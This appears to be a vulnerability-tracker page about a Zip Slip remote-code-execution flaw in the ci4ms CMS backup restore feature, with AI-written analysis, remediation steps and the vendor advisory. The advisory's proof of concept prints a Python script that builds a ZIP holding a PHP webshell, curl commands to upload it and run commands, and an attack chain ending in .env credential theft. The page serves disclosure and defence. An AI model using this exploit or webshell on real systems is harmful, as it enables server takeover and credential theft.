Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with backup-create role
-
DeliveryCraft ZIP with traversal paths
-
ExploitUpload via /backend/backup/restore
-
InstallextractTo() writes to public/
-
C2Access webshell URL
-
ExecuteExecute system commands
-
ImpactExfiltrate .env credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to the ci4ms backend with the 'backup create' permission role assigned to the attacker's account. The vulnerability specifically affects the POST endpoint /backend/backup/restore in installations running ci4ms versions prior to 0.31.5.0. Exploitation does NOT require superadmin privileges, only the specific backup creation role defined in modules/Backup/Config/Routes.php (role=create). The CSRF exemption for backend/backup routes (defined in modules/Backup/Config/BackupConfig.php csrfExcept configuration) removes the CSRF token requirement, enabling cross-site exploitation if an authenticated administrator can be tricked into visiting an attacker-controlled page while logged into the ci4ms backend. Default installations are vulnerable if they assign backup creation permissions to non-superadmin users. The web server must have write permissions to the public/ directory for successful file placement, which is typical in standard PHP application deployments. No special PHP configuration, non-default features, or specific deployment modes are required beyond standard ci4ms installation with the Backup module enabled. |
| Impact | Real-world risk is CRITICAL and demands immediate attention. CVSS 9.4 score accurately reflects the severity: network attack vector (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), no user interaction (UI:N), and complete system compromise (VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). CISA KEV listing confirms active exploitation in real-world environments, elevating this from theoretical to confirmed threat. Publicly available exploit code exists with complete proof-of-concept demonstrating ZIP archive creation, upload via authenticated session, and webshell execution. The CSRF exemption converts this from an insider-only threat to a drive-by attack vector against authenticated administrators who visit attacker-controlled pages. SSVC decision framework indicators: Exploitation Status = active, Automatable = yes (scripted POC requires only session cookie), Technical Impact = total (full system compromise including database credentials in .env files). Despite high CVSS, exploitation is NOT trivial - requires authenticated access with specific 'backup create' permission role. However, the combination of KEV status, CSRF bypass potential, and complete RCE impact outweighs the authentication prerequisite. Organizations running ci4ms installations with multiple administrative users face elevated risk from both insider threats and social engineering attacks targeting admin sessions. Patch availability in version 0.31.5.0 is confirmed by GitHub release notes and advisory, providing clear remediation path. |
| Exploit ScenarioDerived | An authenticated attacker with low-privilege 'backup create' permission crafts a malicious ZIP archive containing a PHP webshell with path traversal sequences (../../public/shell.php). They authenticate to the ci4ms backend and navigate to the backup restore interface at /backend/backup/restore. The attacker uploads the crafted ZIP file, which the vulnerable Backup::restore() function extracts without validating entry paths, writing the webshell to the publicly accessible web root. The attacker then accesses the webshell directly via HTTP (e.g., https://target.example.com/shell.php?c=whoami) to execute arbitrary system commands as the web server user, achieving full remote code execution. Because the route is CSRF-exempt, an alternative scenario involves the attacker hosting a malicious webpage that automatically submits the weaponized ZIP to the restore endpoint using a logged-in administrator's session cookies, achieving drive-by RCE without requiring the victim to manually upload the file. The attacker gains access to database credentials in .env files, application source code, and can pivot to further compromise the hosting environment. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 07, 2026
Remote code execution in ci4ms (CodeIgniter 4 Management System) versions prior to 0.31.5.0 allows authenticated backend users with backup creation permissions to write PHP webshells to the public web root via Zip Slip path traversal during backup restoration. The vulnerability is confirmed actively exploited (CISA KEV) with publicly available exploit code exists. CVSS 9.4 (Critical) aligns with the real-world risk, as exploitation requires only low-privilege authentication and the affected route is exempt from CSRF protection, enabling drive-by attacks against logged-in administrators. Vendor-released patch version 0.31.5.0 addresses the flaw by implementing path validation during ZIP extraction.
Earlier versions of this analysis (1)
Arbitrary file write and remote code execution in ci4ms (a CodeIgniter 4 CMS) allows authenticated backend users with backup-restore permissions to upload malicious ZIP archives containing path-traversal entries (Zip Slip). Attackers extract PHP webshells into the public web root, achieving full server compromise. The vulnerability is worsened by CSRF exemptions on the restore endpoint, enabling drive-by exploitation if an authenticated administrator visits an attacker-controlled page. Vendor-released patch available in version 0.31.5.0. Publicly available exploit code exists (PoC provided in advisory).
RemediationAI
Immediately upgrade to ci4ms version 0.31.5.0 or later, which implements path validation during ZIP extraction to prevent directory traversal attacks. The patch applies realpath() checks and regex validation to ensure archive entries resolve within the intended destination directory before extraction. Upgrade instructions and release package are available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0. For installations that cannot immediately upgrade, implement these compensating controls with noted trade-offs: (1) Disable the backup restore functionality entirely by removing or commenting out the route binding for 'backend/backup/restore' in modules/Backup/Config/Routes.php - this breaks legitimate backup restoration workflows but eliminates the attack surface. (2) Restrict the 'backup create' permission to only the minimum number of highly-trusted superadmin accounts and audit all accounts currently holding this permission - this reduces attack surface but does not prevent exploitation by compromised privileged accounts or CSRF-driven attacks. (3) Implement web application firewall rules to block POST requests to /backend/backup/restore containing suspicious patterns in multipart form data, though this is bypassable with encoding variations. (4) Add the backup routes back to CSRF protection by removing 'backend/backup' and 'backend/backup/*' from csrfExcept in modules/Backup/Config/BackupConfig.php - this prevents CSRF-based exploitation but may break legitimate backup workflows if session handling is misconfigured. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix. After patching, audit server filesystems for unexpected PHP files in the public/ directory tree and review web server access logs for requests to /backend/backup/restore since initial deployment.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from unsafe use of PHP's ZipArchive::extractTo() method in the Backup module's restore function (modules/Backup/Controllers/Backup.php lines 80-119). When processing uploaded ZIP files, the code calls extractTo() directly without validating that archive entry names resolve within the intended destination directory (WRITEPATH . 'uploads/'). This is a classic Zip Slip (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. An attacker can craft a ZIP archive containing entries with relative path traversal sequences like '../../public/shell.php', causing extraction to escape the uploads directory and write arbitrary files under the web-accessible public/ directory. The same codebase correctly implements path validation using realpath() and regex checks in modules/Methods/Controllers/Methods.php lines 165-175, but this defensive pattern was not applied to the backup restore function. The affected product is distributed as a Composer package (pkg:composer/ci4-cms-erp_ci4ms) and is built on the CodeIgniter 4 framework. The vulnerability is compounded by the route configuration which adds backend/backup and backend/backup/* to the csrfExcept list in modules/Backup/Config/BackupConfig.php, allowing POST requests without CSRF token validation.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.
CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms
Lifecycle Timeline
4DescriptionCVE.org
Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:
public function restore()
{
$valData = ([
'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('backup_file');
if ($file && $file->isValid() && ! $file->hasMoved()) {
$newName = $file->getRandomName();
$uploadPath = WRITEPATH . 'uploads/';
...
$filePath = WRITEPATH . 'uploads/' . $newName;
$sqlPath = $filePath;
if ($ext === 'zip') {
$zip = new \ZipArchive();
if ($zip->open($filePath) === true) {
$zip->extractTo($uploadPath); // no entry-name validation
$sqlPath = $uploadPath . $zip->getNameIndex(0);
$zip->close();
@unlink($filePath);
}
}
...
}
}A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('dump.sql', 'SELECT 1;')
"Submit it as a backup to restore:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'backup_file=@evil.zip' \
https://target.example.com/backend/backup/restoreTrigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
Executive ViewAI
CodeIgniter 4 Management System (ci4ms) versions before 0.31.5.0 contain a critical remote code execution vulnerability that allows authenticated backend users to upload malicious PHP files to public directories via backup restoration, leading to complete system compromise. This vulnerability is confirmed actively exploited (CISA KEV) and poses immediate risk to any organization running ci4ms, particularly those with multiple backend users or delegated administration privileges.
Apply vendor patch to ci4ms version 0.31.5.0 or later. If immediate patching is not possible: disable backup restoration functionality entirely; restrict backend access to trusted administrators only; implement web application firewall rules to block POST requests to backup restoration endpoints; deploy endpoint detection and response (EDR) to monitor for unauthorized PHP execution in web root; maintain offline backups and verify file integrity of web-accessible directories daily.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-28255
GHSA-xp9f-pvvc-57p4
NVD
CVE.org
EPSS
Exploit-DB